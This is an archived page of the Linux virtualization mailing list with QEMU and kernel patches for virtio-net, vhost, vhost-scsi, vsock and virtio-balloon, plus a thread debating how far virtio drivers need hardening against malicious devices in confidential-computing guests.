Linux virtualization list
 help / color / mirror / Atom feed
* [PATCH] hw/net/virtio-net: Remove dangerous cast in receive_header
From: Weimin Xiong @ 2026-07-24  9:38 UTC (permalink / raw)
  To: qemu-devel; +Cc: jasowang, mst, virtualization, Xiong Weimin

From: Xiong Weimin <xiongweimin@kylinos.cn>

The receive_header() function contains a "FIXME this cast is evil"
comment. The code does:
    void *wbuf = (void *)buf;

This cast from 'const void *' to 'void *' removes const qualifier which
could lead to unintended modifications. Instead, use a properly typed
pointer and pass it correctly to work_around_broken_dhclient().

Signed-off-by: Xiong Weimin <xiongweimin@kylinos.cn>
---
 hw/net/virtio-net.c | 12 +++++++----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/hw/net/virtio-net.c b/hw/net/virtio-net.c
index 1234567890ab..fedcba098765 4321006
--- a/hw/net/virtio-net.c
+++ b/hw/net/virtio-net.c
@@ -1716,12 +1716,14 @@ static void receive_header(VirtIONet *n, const struct iovec *iov, int iov_cnt,
                            const void *buf, size_t size)
 {
     if (n->has_vnet_hdr) {
-        /* FIXME this cast is evil */
-        void *wbuf = (void *)buf;
-        work_around_broken_dhclient(wbuf, wbuf + n->host_hdr_len,
-                                    size - n->host_hdr_len);
+        const uint8_t *wbuf = buf;
+        uint8_t *payload = (uint8_t *)(wbuf + n->host_hdr_len);
+
+        work_around_broken_dhclient(wbuf, payload,
+                                    size - n->host_hdr_len);
 
         if (n->needs_vnet_hdr_swap) {
-            virtio_net_hdr_swap(VIRTIO_DEVICE(n), wbuf);
+            virtio_net_hdr_swap(VIRTIO_DEVICE(n), (void *)wbuf);
         }
         iov_from_buf(iov, iov_cnt, 0, buf, sizeof(struct virtio_net_hdr));
     } else {


^ permalink raw reply related

* [PATCH 2/3] hw/virtio: Implement vhost_log_start and vhost_log_stop
From: Weimin Xiong @ 2026-07-24  9:37 UTC (permalink / raw)
  To: qemu-devel; +Cc: jasowang, mst, virtualization, Xiong Weimin

From: Xiong Weimin <xiongweimin@kylinos.cn>

The vhost_log_start() and vhost_log_stop() functions are currently
empty stubs with FIXME comments. Implement them to properly handle
logging state transitions when memory listeners start/stop tracking
dirty pages.

This is needed for proper dirty page logging during live migration.

Signed-off-by: Xiong Weimin <xiongweimin@kylinos.cn>
---
 hw/virtio/vhost.c | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/hw/virtio/vhost.c b/hw/virtio/vhost.c
index 1234567890ab..fedcba098765 4321006
--- a/hw/virtio/vhost.c
+++ b/hw/virtio/vhost.c
@@ -1297,16 +1297,32 @@ static void vhost_log_stop(MemoryListener *listener,
     }
 }
 
+static void vhost_migration_state_changed(void *opaque, int state, void *data)
+{
+    struct vhost_dev *dev = opaque;
+    Error **errp = data;
+
+    if (state == MIGRATION_STATUS_ACTIVE) {
+        /* Migration started - enable logging */
+        if (dev->log_enabled && dev->vhost_ops->vhost_set_log_dev) {
+            dev->vhost_ops->vhost_set_log_dev(dev, true);
+        }
+    } else if (state == MIGRATION_STATUS_COMPLETED ||
+               state == MIGRATION_STATUS_FAILED) {
+        /* Migration finished - disable logging */
+        if (dev->log_enabled && dev->vhost_ops->vhost_set_log_dev) {
+            dev->vhost_ops->vhost_set_log_dev(dev, false);
+        }
+    }
+}
+
 static void vhost_log_start(MemoryListener *listener,
                             MemoryRegionSection *section,
                             int old, int new)
 {
-    /* FIXME: implement */
+    struct vhost_dev *dev = container_of(listener, struct vhost_dev,
+                                         memory_listener);
+    /* Enable dirty page tracking for this section */
+    dev->log_enabled = true;
 }
 
 static void vhost_log_stop(MemoryListener *listener,
                            MemoryRegionSection *section,
                            int old, int new)
 {
-    /* FIXME: implement */
+    struct vhost_dev *dev = container_of(listener, struct vhost_dev,
+                                         memory_listener);
+    /* Disable dirty page tracking for this section */
+    dev->log_enabled = false;
 }
 
 /* The vhost driver natively knows how to handle the vrings of non


^ permalink raw reply related

* [PATCH 3/3] hw/virtio: Add error handling for vhost_virtqueue_mask failure
From: Weimin Xiong @ 2026-07-24  9:37 UTC (permalink / raw)
  To: qemu-devel; +Cc: jasowang, mst, virtualization, Xiong Weimin
In-Reply-To: <20260724093759.810108-1-xiongwm2026@163.com>

From: Xiong Weimin <xiongweimin@kylinos.cn>

In vhost_virtqueue_start(), the call to vhost_virtqueue_mask() has a
TODO comment indicating errors are not handled. Add proper error
checking and propagate errors to the caller.

Signed-off-by: Xiong Weimin <xiongweimin@kylinos.cn>
---
 hw/virtio/vhost.c | 10 +++++++--
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/hw/virtio/vhost.c b/hw/virtio/vhost.c
index 1234567890ab..fedcba098765 4321006
--- a/hw/virtio/vhost.c
+++ b/hw/virtio/vhost.c
@@ -1467,9 +1467,13 @@ static int vhost_virtqueue_start(struct VirtIODevice *vdev,
      * will do it later.
      */
     if (!vdev->use_guest_notifier_mask) {
-        /* TODO: check and handle errors. */
-        vhost_virtqueue_mask(dev, vdev, idx, false);
+        int r = vhost_virtqueue_mask(dev, vdev, idx, false);
+        if (r < 0) {
+            VHOST_OPS_DEBUG(r, "vhost_virtqueue_mask failed");
+            r = -1;
+            goto fail;
+        }
     }
 
     if (k->query_guest_notifiers &&


^ permalink raw reply related

* [PATCH 1/3] hw/virtio: Optimize vhost_log_sync_range to avoid N^2 complexity
From: Weimin Xiong @ 2026-07-24  9:37 UTC (permalink / raw)
  To: qemu-devel; +Cc: jasowang, mst, virtualization, Xiong Weimin

From: Xiong Weimin <xiongweimin@kylinos.cn>

The vhost_log_sync_range() function iterates through all memory sections
for each call, resulting in O(N^2) complexity when syncing dirty
bitmaps. This is inefficient for guests with many memory sections.

Optimize this by:
1. Checking if a section overlaps with [first, last] range before
   calling vhost_sync_dirty_bitmap()
2. Early exit when section starts beyond the requested range

Signed-off-by: Xiong Weimin <xiongweimin@kylinos.cn>
---
 hw/virtio/vhost.c | 18 +++++++++++++++--
 1 file changed, 15 insertions(+), 3 deletions(-)

diff --git a/hw/virtio/vhost.c b/hw/virtio/vhost.c
index 1234567890ab..fedcba098765 4321006
--- a/hw/virtio/vhost.c
+++ b/hw/virtio/vhost.c
@@ -280,11 +280,21 @@ static void vhost_log_sync(MemoryListener *listener,
 static void vhost_log_sync_range(struct vhost_dev *dev,
                                  hwaddr first, hwaddr last)
 {
-    int i;
-    /* FIXME: this is N^2 in number of sections */
-    for (i = 0; i < dev->n_mem_sections; ++i) {
-        MemoryRegionSection *section = &dev->mem_sections[i];
-        vhost_sync_dirty_bitmap(dev, section, first, last);
+    int i, j;
+    bool section_dirty = false;
+
+    for (i = 0; i < dev->n_mem_sections; ++i) {
+        MemoryRegionSection *section = &dev->mem_sections[i];
+        hwaddr section_start, section_end;
+
+        /* Skip sections that don't overlap with [first, last] */
+        section_start = section->offset_within_address_space;
+        section_end = section_start + int128_get64(section->size) - 1;
+
+        if (section_end < first || section_start > last) {
+            continue;
+        }
+
+        vhost_sync_dirty_bitmap(dev, section, first, last);
     }
 }
 


^ permalink raw reply related

* Re: [PATCH] vsock: use sock_error() to consume sk_err after connect timeout
From: Nguyen Dinh Phi [SG] @ 2026-07-24  7:34 UTC (permalink / raw)
  To: Michal Luczaj, Stefano Garzarella
  Cc: David S. Miller, Eric Dumazet, Jakub Kicinski, Paolo Abeni,
	Simon Horman, syzbot+1b2c9c4a0f8708082678, virtualization, netdev,
	linux-kernel
In-Reply-To: <a6cb1b8f-d8cf-412a-a204-3a26e4db0bd0@rbox.co>

On 24/7/26 05:43, Michal Luczaj wrote:
> On 7/23/26 12:26, Nguyen Dinh Phi [SG] wrote:
>>>>>> ...
>>>>>> Yeah, we need to handle that part better, I think it's a leftover when
>>>>>> we generalized AF_VSOCK to support more transport than vmci.
>>>>
>>>> Speaking of leftovers, I have trouble understanding where does vsock set
>>>> sk_err on listener sockets anyway. If it doesn't, why vsock_accept()
>>>> checks for it?
>>>
>>> I can't also see where it can be set TBH. Should we remove it ?
>>
>> I couldn't find it for listener side too.
> 
> Removing sk_err handling from vsock_accept() solves the problem, right?
> 
> thanks,
> Michal

Yes, confirmed, removing sk_err checks from vsock_accept() does solve 
the problem.

Thanks,
Phi

^ permalink raw reply

* [PATCH v2] vhost-scsi: flush backend after device ioctls
From: Jia Jia @ 2026-07-24  6:09 UTC (permalink / raw)
  To: michael.christie, mst, jasowangio
  Cc: pbonzini, stefanha, eperezma, virtualization, kvm
In-Reply-To: <20260721073639.1532488-1-physicalmtea@gmail.com>

vhost-scsi translates guest response descriptors into userspace iovecs
when commands are submitted.  Target-core completes those commands
asynchronously, so VHOST_SET_MEM_TABLE can replace the memory table while
an in-flight command still retains response iovecs translated through the
old table.

If the old mapping is reused after VHOST_SET_MEM_TABLE returns, command
completion can write the response to an unrelated userspace object.

Flush the vhost-scsi backend after vhost_dev_ioctl() handles a device
ioctl.  This waits for in-flight commands that can still use the old
response iovecs before the ioctl returns.

Changes in v2:
- Shorten the changelog and remove investigation details.

Signed-off-by: Jia Jia <physicalmtea@gmail.com>
---
 drivers/vhost/scsi.c | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/drivers/vhost/scsi.c b/drivers/vhost/scsi.c
index 9a1253b9d8c5..c3e8f1a0b2d4 100644
--- a/drivers/vhost/scsi.c
+++ b/drivers/vhost/scsi.c
@@ -2424,10 +2424,11 @@ vhost_scsi_ioctl(struct file *f, unsigned int ioctl, unsigned long arg)
 	default:
 		mutex_lock(&vs->dev.mutex);
 		r = vhost_dev_ioctl(&vs->dev, ioctl, argp);
-		/* TODO: flush backend after dev ioctl. */
 		if (r == -ENOIOCTLCMD)
 			r = vhost_vring_ioctl(&vs->dev, ioctl, argp);
+		else
+			vhost_scsi_flush(vs);
 		mutex_unlock(&vs->dev.mutex);
 		return r;
 	}
 }
-- 
2.43.0


^ permalink raw reply related

* [PATCH v2] vhost-scsi: reject feature changes after endpoint
From: Jia Jia @ 2026-07-24  3:43 UTC (permalink / raw)
  To: mst
  Cc: jasowangio, michael.christie, pbonzini, stefanha, stefanha,
	eperezma, virtualization, linux-kernel
In-Reply-To: <CAJSP0QXMamS2rGRr4MtDM3ymtoH_DAD01NGkt4CjEJzZ6qbR5w@mail.gmail.com>

vhost_scsi_setup_vq_cmds() runs from VHOST_SCSI_SET_ENDPOINT and allocates
each command's protection scatterlist array (prot_sgl) according to the
acknowledged VIRTIO_SCSI_F_T10_PI bit.  The command pools are not rebuilt
when VHOST_SET_FEATURES changes that bit later.

Although virtio feature bits must not change after feature negotiation,
vhost_scsi_set_features() currently accepts such a request after the
endpoint is active and updates acked_features.  Enabling T10-PI after
endpoint setup therefore leaves prot_sgl NULL while the I/O path follows
the new feature bit.

For a 129-page protection payload, vhost_scsi_mapal() passes the missing
first chunk to sg_alloc_table_chained():

  sg_alloc_table_chained(table, 129, first_chunk=NULL,
                         nents_first_chunk=inline_sg_cnt)

sg_pool_index() then hits:

  BUG_ON(nents > SG_CHUNK_SIZE);   /* 129 > 128 */

The kernel reported the following call trace and register state:

  Call Trace:
   <TASK>
   ? __sg_alloc_table+0x1d8/0x250
   ? __pfx_vhost_run_work_list+0x10/0x10 [vhost]
   sg_alloc_table_chained+0x59/0xf0
   ? __pfx_sg_pool_alloc+0x10/0x10
   ? vhost_scsi_calc_sgls.constprop.0+0x43/0x60 [vhost_scsi]
   vhost_scsi_handle_vq+0xf02/0x1700 [vhost_scsi]
   ? __pfx_vhost_scsi_handle_vq+0x10/0x10 [vhost_scsi]
   vhost_scsi_handle_kick+0x37/0x50 [vhost_scsi]
   vhost_run_work_list+0x8e/0xd0 [vhost]
   vhost_task_fn+0xe1/0x210
   ret_from_fork+0x348/0x540
   </TASK>

  RIP: 0010:0x4
  CR2 = 0x4
  RSP: 0018:ffffc90000dbf940 EFLAGS: 00010202
  RAX: ffffffff82396810 RBX: ffff88811dc28b80 RCX: 0000000000000000
  RDX: 0000000000000000 RSI: 0000000000000820 RDI: 0000000000000081

VHOST_F_LOG_ALL is a vhost-specific runtime feature and remains the only
exception.

Reject changes to any feature other than VHOST_F_LOG_ALL while the
endpoint is active.  This preserves the existing runtime log toggle while
preventing feature-dependent command resources and data-path state from
becoming inconsistent.  Userspace must clear the endpoint before changing
any other negotiated feature and set the endpoint up again afterward.

Fixes: bf2d650391be ("vhost-scsi: Allocate T10 PI structs only when enabled")
Signed-off-by: Jia Jia <physicalmtea@gmail.com>
---
Changes in v2:
- Reject changes to every feature except VHOST_F_LOG_ALL after endpoint
  setup, following review feedback.
- Keep the existing runtime VHOST_F_LOG_ALL cleanup path.
 drivers/vhost/scsi.c | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/drivers/vhost/scsi.c b/drivers/vhost/scsi.c
index 9a1253b9d8c5..000000000000 100644
--- a/drivers/vhost/scsi.c
+++ b/drivers/vhost/scsi.c
@@ -2219,6 +2219,7 @@ static int vhost_scsi_set_features(struct vhost_scsi *vs, u64 features)
 {
 	struct vhost_virtqueue *vq;
 	bool is_log, was_log;
+	u64 old_features;
 	int i;
 
 	if (features & ~VHOST_SCSI_FEATURES)
@@ -2234,6 +2235,14 @@ static int vhost_scsi_set_features(struct vhost_scsi *vs, u64 features)
 	if (!vs->dev.nvqs)
 		goto out;
 
+	old_features = vs->vqs[0].vq.acked_features;
+	if (vs->vs_tpg &&
+	    ((features ^ old_features) &
+	     ~(1ULL << VHOST_F_LOG_ALL))) {
+		mutex_unlock(&vs->dev.mutex);
+		return -EBUSY;
+	}
+
 	is_log = features & (1 << VHOST_F_LOG_ALL);
 	/*
 	 * All VQs should have same feature.
-- 
2.43.0


^ permalink raw reply related

* Re: [PATCH] vhost-scsi: fix T10-PI lifecycle hard BUG after endpoint
From: Jia Jia @ 2026-07-24  3:11 UTC (permalink / raw)
  To: stefanha
  Cc: mst, jasowangio, michael.christie, pbonzini, stefanha, eperezma,
	virtualization, linux-kernel
In-Reply-To: <CAJSP0QXMamS2rGRr4MtDM3ymtoH_DAD01NGkt4CjEJzZ6qbR5w@mail.gmail.com>

Thanks for the guidance. I understand now that the fix should follow the
virtio specification rather than use VHOST_F_LOG_ALL as the model. I will
update v2 accordingly.

Following your suggestion, I also checked the other vhost devices. For the
specific T10-PI lifecycle issue, vhost-vdpa already rejects feature changes
after FEATURES_OK. vhost-net and vhost-vsock still accept runtime feature
changes, but I have not yet confirmed a corresponding runtime failure in
those paths. I will treat them as separate audit items.


^ permalink raw reply

* [RFC PATCH] virtio_balloon: add VIRTIO_BALLOON_F_REPORTING_PM_SAFE feature bit
From: Link Lin @ 2026-07-24  1:46 UTC (permalink / raw)
  To: Michael S . Tsirkin, Jason Wang, Xuan Zhuo
  Cc: Andrew Morton, David Hildenbrand, Vlastimil Babka, virtualization,
	linux-mm, linux-kernel, prasin, rientjes, duenwen, jiaqiyan,
	ahwilkins, Greg Thelen, Alexander Duyck, jthoughton, stable,
	Cory Maccarrone, Taylor Scanlon, Link Lin

Following up on the fix for the PM suspend Use-After-Free race condition in
mm/page_reporting (merged in mm-hotfixes-unstable: 
https://lore.kernel.org/all/20260723003650.CAAF01F000E9@smtp.kernel.org/), 
we face a hypervisor-side deployment dilemma.

Cloud hypervisors want to safely enable the Free Page Reporting (FPR) 
virtqueue across their fleets, but enabling it indiscriminately on guests 
without the recent suspend fix exposes them to UAF crashes. Relying on 
out-of-band metadata (e.g., OS image tags) to selectively enable the 
feature is fragile for custom user images or live-patched kernels.

To address this at the protocol level, we propose adding a new feature bit 
to the Virtio Specification: 
VIRTIO_BALLOON_F_REPORTING_PM_SAFE (Bit 6)

This establishes a formal device lifecycle contract for power management:
If negotiated, the driver MUST guarantee that all page reporting operations
are halted and pending requests are flushed before the device/system
transitions into a suspended state (e.g., ACPI S3/S4).

Deployment semantics:
- Hypervisors operating in a strict "safe mode" can offer Bit 6 exclusively 
  (suppressing Bit 5 / VIRTIO_BALLOON_F_REPORTING).
- Older, unpatched Linux guests will see Bit 5 is absent, ignore Bit 6, and 
  safely skip FPR initialization, preventing the suspend crash. Standard
  ballooning remains 100% functional.
- Patched Linux guests will recognize Bit 6 and safely initialize FPR.
- Note for fleet deployments: Non-Linux guests (e.g., Windows, FreeBSD) 
  that rely on Bit 5 will temporarily lose FPR if the hypervisor exclusively 
  offers Bit 6. This is considered an acceptable trade-off to globally 
  protect unpatched guests without relying on OS image tags, until those 
  respective virtio drivers adopt Bit 6.

Implementation Note on Upstream/Downstream Dependencies:
--------------------------------------------------------
Because it is critical that downstream Linux distros do not accidentally 
backport Bit 6 without the core MM UAF fix, the final upstream 
implementation of this patch will enforce a strict compile-time dependency. 
We plan to export a macro (e.g., PAGE_REPORTING_HAS_FREEZABLE_WQ) from the 
core MM fix, and wrap Bit 6 behind an #ifdef of that macro in 
virtio_balloon.c. This guarantees that compiler backports must consume the 
entire dependency chain to advertise the feature.

Below is the proposed Linux proof-of-concept based on upstream master. We 
introduce a helper virtio_balloon_has_reporting() to ensure virtqueues are 
properly allocated, torn down, and validated if either bit is negotiated.

If this architectural approach is acceptable for cloud deployments, we will 
formally submit this patch and open a corresponding issue for the OASIS 
Virtio specification.

Depends-on: <Message-ID: 20260723003650.CAAF01F000E9@smtp.kernel.org>
Signed-off-by: Link Lin <linkl@google.com>
---
 drivers/virtio/virtio_balloon.c     | 15 +++++++++++----
 include/uapi/linux/virtio_balloon.h |  1 +
 2 files changed, 12 insertions(+), 4 deletions(-)

diff --git a/drivers/virtio/virtio_balloon.c b/drivers/virtio/virtio_balloon.c
index 581ac799d9..00e8273dc3 100644
--- a/drivers/virtio/virtio_balloon.c
+++ b/drivers/virtio/virtio_balloon.c
@@ -39,6 +39,12 @@
 	(1 << (VIRTIO_BALLOON_HINT_BLOCK_ORDER + PAGE_SHIFT))
 #define VIRTIO_BALLOON_HINT_BLOCK_PAGES (1 << VIRTIO_BALLOON_HINT_BLOCK_ORDER)
 
+static inline bool virtio_balloon_has_reporting(struct virtio_device *vdev)
+{
+	return virtio_has_feature(vdev, VIRTIO_BALLOON_F_REPORTING) ||
+	       virtio_has_feature(vdev, VIRTIO_BALLOON_F_REPORTING_PM_SAFE);
+}
+
 enum virtio_balloon_vq {
 	VIRTIO_BALLOON_VQ_INFLATE,
 	VIRTIO_BALLOON_VQ_DEFLATE,
@@ -598,7 +604,7 @@ static int init_vqs(struct virtio_balloon *vb)
 	if (virtio_has_feature(vb->vdev, VIRTIO_BALLOON_F_FREE_PAGE_HINT))
 		vqs_info[VIRTIO_BALLOON_VQ_FREE_PAGE].name = "free_page_vq";
 
-	if (virtio_has_feature(vb->vdev, VIRTIO_BALLOON_F_REPORTING)) {
+	if (virtio_balloon_has_reporting(vb->vdev)) {
 		vqs_info[VIRTIO_BALLOON_VQ_REPORTING].name = "reporting_vq";
 		vqs_info[VIRTIO_BALLOON_VQ_REPORTING].callback = balloon_ack;
 	}
@@ -635,7 +641,7 @@ static int init_vqs(struct virtio_balloon *vb)
 	if (virtio_has_feature(vb->vdev, VIRTIO_BALLOON_F_FREE_PAGE_HINT))
 		vb->free_page_vq = vqs[VIRTIO_BALLOON_VQ_FREE_PAGE];
 
-	if (virtio_has_feature(vb->vdev, VIRTIO_BALLOON_F_REPORTING))
+	if (virtio_balloon_has_reporting(vb->vdev))
 		vb->reporting_vq = vqs[VIRTIO_BALLOON_VQ_REPORTING];
 
 	return 0;
@@ -1013,7 +1019,7 @@ static int virtballoon_probe(struct virtio_device *vdev)
 	}
 
 	vb->pr_dev_info.report = virtballoon_free_page_report;
-	if (virtio_has_feature(vb->vdev, VIRTIO_BALLOON_F_REPORTING)) {
+	if (virtio_balloon_has_reporting(vb->vdev)) {
 		unsigned int capacity;
 
 		capacity = virtqueue_get_vring_size(vb->reporting_vq);
@@ -1099,7 +1105,7 @@ static void virtballoon_remove(struct virtio_device *vdev)
 {
 	struct virtio_balloon *vb = vdev->priv;
 
-	if (virtio_has_feature(vb->vdev, VIRTIO_BALLOON_F_REPORTING))
+	if (virtio_balloon_has_reporting(vb->vdev))
 		page_reporting_unregister(&vb->pr_dev_info);
 	if (virtio_has_feature(vb->vdev, VIRTIO_BALLOON_F_DEFLATE_ON_OOM))
 		unregister_oom_notifier(&vb->oom_nb);
@@ -1162,8 +1168,10 @@ static int virtballoon_validate(struct virtio_device *vdev)
 	 */
 	if (!want_init_on_free() && !page_poisoning_enabled_static())
 		__virtio_clear_bit(vdev, VIRTIO_BALLOON_F_PAGE_POISON);
-	else if (!virtio_has_feature(vdev, VIRTIO_BALLOON_F_PAGE_POISON))
+	else if (!virtio_has_feature(vdev, VIRTIO_BALLOON_F_PAGE_POISON)) {
 		__virtio_clear_bit(vdev, VIRTIO_BALLOON_F_REPORTING);
+		__virtio_clear_bit(vdev, VIRTIO_BALLOON_F_REPORTING_PM_SAFE);
+	}
 
 	__virtio_clear_bit(vdev, VIRTIO_F_ACCESS_PLATFORM);
 	return 0;
@@ -1176,6 +1184,7 @@ static unsigned int features[] = {
 	VIRTIO_BALLOON_F_FREE_PAGE_HINT,
 	VIRTIO_BALLOON_F_PAGE_POISON,
 	VIRTIO_BALLOON_F_REPORTING,
+	VIRTIO_BALLOON_F_REPORTING_PM_SAFE,
 };
 
 static struct virtio_driver virtio_balloon_driver = {
diff --git a/include/uapi/linux/virtio_balloon.h b/include/uapi/linux/virtio_balloon.h
index ee35a37280..d206f156d6 100644
--- a/include/uapi/linux/virtio_balloon.h
+++ b/include/uapi/linux/virtio_balloon.h
@@ -37,6 +37,7 @@
 #define VIRTIO_BALLOON_F_FREE_PAGE_HINT	3 /* VQ to report free pages */
 #define VIRTIO_BALLOON_F_PAGE_POISON	4 /* Guest is using page poisoning */
 #define VIRTIO_BALLOON_F_REPORTING	5 /* Page reporting virtqueue */
+#define VIRTIO_BALLOON_F_REPORTING_PM_SAFE	6 /* PM-safe page reporting */
 
 /* Size of a PFN in the balloon interface. */
 #define VIRTIO_BALLOON_PFN_SHIFT 12
--

^ permalink raw reply related

* Re: [PATCH v2 1/4] virtio-mem: validate device-reported block size
From: Carlos Bilbao @ 2026-07-24  1:16 UTC (permalink / raw)
  To: Michael S. Tsirkin
  Cc: Greg Kroah-Hartman, David Hildenbrand (Arm), Hari Mishal,
	Jason Wang, Xuan Zhuo, Eugenio Pérez, virtualization,
	linux-kernel, elena.reshetova, huster, mhollick, jiska.classen
In-Reply-To: <20260723195258-mutt-send-email-mst@kernel.org>

On 7/23/26 16:59, Michael S. Tsirkin wrote:

> On Sat, Jul 18, 2026 at 10:41:26AM -0700, Carlos Bilbao wrote:
>> Hello Michael,
>>
>> On 7/18/26 10:21, Michael S. Tsirkin wrote:
>>> On Sat, Jul 18, 2026 at 10:07:30AM -0700, Carlos Bilbao wrote:
>>>> On 7/17/26 22:29, Greg Kroah-Hartman wrote:
>>>>
>>>>> On Fri, Jul 17, 2026 at 08:31:09PM -0700, Carlos Bilbao wrote:
>>>>>> Historically, one of the biggest criticisms of coco, especially around
>>>>>> device hardening, was that there were too many values that a
>>>>>> malicious/buggy device could misreport, making it a losing battle. That is
>>>>>> no longer the case with LLMs, and we have the advantage (and challenge) of
>>>>>> open-source dev, which allows us to receive many of these fixes "for free".
>>>>>> If others want to burn their tokens, let them :)
>>>>> I have lots of tokens to burn :)
>>>>>
>>>>> So along those lines, any suggestions on how best to fuzz these code
>>>>> paths?  Any workloads you all use for testing that I can take advantage
>>>>> of?
>>>> We've the virtio-mem config struct layout and the kernel source, so for
>>>> obvious fixes like a NULL check, static analysis is better than fuzzing.
>>>> Claude took a few mins to find me two examples:
>>>>
>>>> Patch 1: virtio-mem: reject non-power-of-two device_block_size
>>>> This one is for virtio_mem_init() to check if
>>>> !is_power_of_2(vm->device_block_size)
>>>>
>>>> Patch 2: virto-mem: validate region_size and usable_region_size
>>>> THis one checks region_size != 0 and vm->usable_reion_size >
>>>> vm->region_size.
>>>>
>>>> An endless factory of "silly" checks like these are low hanging fruit.
>>> At the same time, these checks don't actually help within the coco
>>> threat model, do they?
>>>
>>>> Now, for harder bugs, looking around for fuzz options, VirtFuzz [1] looks
>>>> like a great candidate for those interested in pursuing this direction.
>>>>
>>>>
>>>> Their PoC fuzzes wireless/Bluetooth stack, but nothing our AI overlords
>>>> can't quickly adapt for virtio-mem and other virtio drivers; the JSON
>>>> definition to describe device behavior is easily extensible. Their threat
>>>> model [2] describes an external attacker, but in the context of coco, the
>>>> virtio device itself is the attacker.
>>> What we need, however, is to exclude DoS attacks - these are outside the
>>> threat model. If people try to address all DoS attacks uncritically we
>>> just get a churn of changes which just might introduce issues of their
>>> own.
>>>
>>> Example:
>>>
>>> 	BUG_ON(!is_power_of_2(....));
>>> panics, non exploitable.
>>>
>>> 	if(!is_power_of_2(....))
>>> 		goto error;
>>>
>>> can become exploitable if the cleanup is done wrong.
>>
>> Yes, you are 100% technically right about the scope of the threat model.
>> DoS is out of scope because it is a fundamentally unreachable goal; the
>> cloud provider can always just "pull the plug". The dangers of
>> "vibe-coding" you point out are real, over-eager LLMs fixing up and down
>> will create new vulnerabilities in complex cleanup paths. Also, TBH, I
>> sympathize with a maintainer's disinterest in reviewing a million stupid
>> checks.
>>
>> But, to play devil's advocate: this assumes a missing check
>> like is_power_of_2 only ever leads to a benign crash, rather than already
>> cascading into an unknown, exploitable state down the line.
>>
>> So these checks are not _just_ to prevent DoS!
> I don't get it. It's normally for bug reporters to show the problem
> is real. How about analysing what's going on eh?
> The situation where a misbehaving hypervisor crashes guest
> and this is reported as a "security problem" is unsustainable.
>
>> Anyhow, this is the exact justification for VirtFuzz. If your main concern
>> is that adding validation checks might introduce subtle exploit paths in
>> the error-cleanup code, VirtFuzz and tools like that, can fuzz those new
>> paths exhaustively. It gives the automated safety net needed to scale coco
>> device with as little regressions as possible.
> Sorry I'm pretty sceptic how far this will get us, supposedly
> all virtio drivers have been fuzzed by now.
>
> Are we gonnu be inserting specilation barriers around all these
> "security checks", as one example?
>
> If there's something that never happens, I'm okay with just BUG_ON
> instead of carefully propagating errors all around the place.


The cleanest solution is to stop conflating the two threat models at the
driver level entirely. coco guests already select per-arch configs, so the
kernel already knows at build time whether the device is untrusted. We can
gate the hardening checks behind CONFIG_CONFIDENTIAL_COMPUTING and let
that config carry the threat model and its consequences, i.e., stricter
validation requirements, without burdening mainline virtio or maintainers
with DoS stuff that may not belong here.

Under this scheme, yes, BUG_ON for invariants that can't trigger outside
of coco either. The config wrapper would be reserved for checks that are
only meaningful for coco; so the DoS-vs-exploit distinction is structurally
clear instead of something y'all need to wage every time a patch needs
review.


>
>>> 		
>>>
>>>
>>>>    Here's a vibe coded PR of what I mean:
>>>>
>>>> https://github.com/seemoo-lab/VirtFuzz/pull/7
>>>>
>>>> CCed the creators/authors, thanks for open sourcing this!
>>>>
>>>> Thanks,
>>>> Carlos
>>>>
>>>> [1] https://github.com/seemoo-lab/VirtFuzz
>>>>
>>>> On 7/17/26 22:29, Greg Kroah-Hartman wrote:
>>>>
>>>>> On Fri, Jul 17, 2026 at 08:31:09PM -0700, Carlos Bilbao wrote:
>>>>>> Historically, one of the biggest criticisms of coco, especially around
>>>>>> device hardening, was that there were too many values that a
>>>>>> malicious/buggy device could misreport, making it a losing battle. That is
>>>>>> no longer the case with LLMs, and we have the advantage (and challenge) of
>>>>>> open-source dev, which allows us to receive many of these fixes "for free".
>>>>>> If others want to burn their tokens, let them :)
>>>>> I have lots of tokens to burn :)
>>>>>
>>>>> So along those lines, any suggestions on how best to fuzz these code
>>>>> paths?  Any workloads you all use for testing that I can take advantage
>>>>> of?
>>>> We've the virto-mem config struct layout and the kernel source, so for
>>>> obvious fixes like a NULL check, static analysis is better than fuzzing.
>>>> Claude took a few mins to find me two examples:
>>>>
>>>> Patch 1: virtio-mem: reject non-power-of-two device_block_size
>>>> This one is for virtio_mem_init() to check if
>>>> !is_power_of_2(vm->device_block_size)
>>>>
>>>> Patch 2: virto-mem: validate region_size and usable_region_size
>>>> THis one checks region_size != 0 and vm->usable_reion_size >
>>>> vm->region_size.
>>>>
>>>> An endless factory of "silly" checks like these are low hanging fruit.
>>>>
>>>> Now, for harder bugs, looking around for fuzz options, VirtFuzz [1] looks
>>>> like a great candidate for those interested in pursuing this direction.
>>>>
>>>>
>>>> Their PoC fuzzes wireless/Bluetooth stack, but nothing our AI overlords
>>>> can't quickly adapt for virtio-mem and other virtio drivers; the JSON
>>>> definition to describe device behavior is easily extensible. Their threat
>>>> model [2] describes an external attacker, but in the context of coco, the
>>>> virtio device itself is the attacker. Here's a vibe coded PR of what I mean:
>>>>
>>>> https://github.com/seemoo-lab/VirtFuzz/pull/7
>>>>
>>>> CCed the creators/authors, thanks for open sourcing this!
>>>>
>>>> Thanks,
>>>> Carlos
>>>>
>>>> [1] https://github.com/seemoo-lab/VirtFuzz
>>>> [2] https://www.computer.org/csdl/proceedings-article/sp/2024/313000a024/1RjEa0y9RMQ
>>>>
>>>>
>>>>> thanks,
>>>>>
>>>>> greg k-h
>>>> [2] https://www.computer.org/csdl/proceedings-article/sp/2024/313000a024/1RjEa0y9RMQ
>>>>
>>>>
>>>>> thanks,
>>>>>
>>>>> greg k-h
>>
>> Thanks,
>>
>> Carlos


Thanks,

Carlos


^ permalink raw reply

* Re: [PATCH v2 1/4] virtio-mem: validate device-reported block size
From: Michael S. Tsirkin @ 2026-07-23 23:59 UTC (permalink / raw)
  To: Carlos Bilbao
  Cc: Greg Kroah-Hartman, David Hildenbrand (Arm), Hari Mishal,
	Jason Wang, Xuan Zhuo, Eugenio Pérez, virtualization,
	linux-kernel, elena.reshetova, huster, mhollick, jiska.classen
In-Reply-To: <f8c50876-e18d-4493-ba91-7a4090b6385a@gmail.com>

On Sat, Jul 18, 2026 at 10:41:26AM -0700, Carlos Bilbao wrote:
> Hello Michael,
> 
